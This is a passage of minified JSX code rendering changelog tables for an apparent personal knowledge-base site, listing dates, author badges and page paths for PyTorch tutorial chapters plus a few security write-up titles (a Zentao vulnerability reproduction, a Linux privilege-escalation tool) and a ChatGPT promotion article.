19:22:45"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/%E7%A6%85%E9%81%93/chandao_ajaxGetList_flag_wp",children:"\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-08-28 19:22:45"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/Linux%E6%8F%90%E6%9D%83/RootHawkX-Linux%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E5%B7%A5%E5%85%B7",children:"\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-08-28 19:22:45"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"/personal/articles/free-chatgpt-go-one-year",children:"\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u8865\u5145\u66f4\u65b0"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-08-28 19:22:45"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/Linux%E6%8F%90%E6%9D%83/",children:"\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u8865\u5145\u66f4\u65b0"})]})]})]}),"\n",(0,A.jsx)(e.h2,{id:"2026\u5e7406\u6708",children:"2026\u5e7406\u6708"}),"\n",(0,A.jsx)(e.h3,{id:"2026\u5e7406\u670807\u65e5",children:"2026\u5e7406\u670807\u65e5"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,A.jsxs)(e.table,{children:[(0,A.jsx)(e.thead,{children:(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u65f6\u95f4"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u8def\u5f84"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u64cd\u4f5c"})]})}),(0,A.jsxs)(e.tbody,{children:[(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:03"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:42"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:30"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:29"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:29"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:30"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:29"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516b\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:30"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:31"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e5d\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:31"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e03\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:14"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:14"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:14"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:10"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:10"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:10"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e00\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:10"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 